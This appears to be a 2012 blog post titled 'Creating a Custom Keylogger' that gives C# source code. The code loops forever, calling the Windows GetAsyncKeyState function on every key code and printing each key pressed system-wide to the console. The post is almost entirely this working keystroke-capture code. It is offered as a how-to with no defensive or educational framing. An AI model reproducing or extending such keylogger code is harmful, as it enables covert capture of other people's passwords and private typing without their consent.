Sunday, 4 November 2012

Creating a Custom Keylogger


Creating a Custom Keylogger


Include these namespaces:


using System; 
using System.Runtime.InteropServices; 
using System.Windows.Forms;

 
 
Code Snippet:


static void Main(string[] args)
{
    while(true)
    {
        Read();
    }
}

[DllImport("User32.dll")] 
private static extern short GetAsyncKeyState(int vKey); 
[DllImport("User32.dll")] 
private static extern short GetAsyncKeyState(Keys vKey);

public static void Read() 
{ 
  try 
  { 
    foreach (int i in Enum.GetValues(typeof(Keys))) 
    { 
      if (GetAsyncKeyState(i) == -32767) 
      { 
        Console.Write(Enum.GetName(typeof(Keys), i) + " "); 
      } 
    } 
  } 
  catch (Exception ex) 
  { 
  } 
}  
 

No comments:

Post a comment

Thank You for Your Comments. We will get back to you soon.

back to top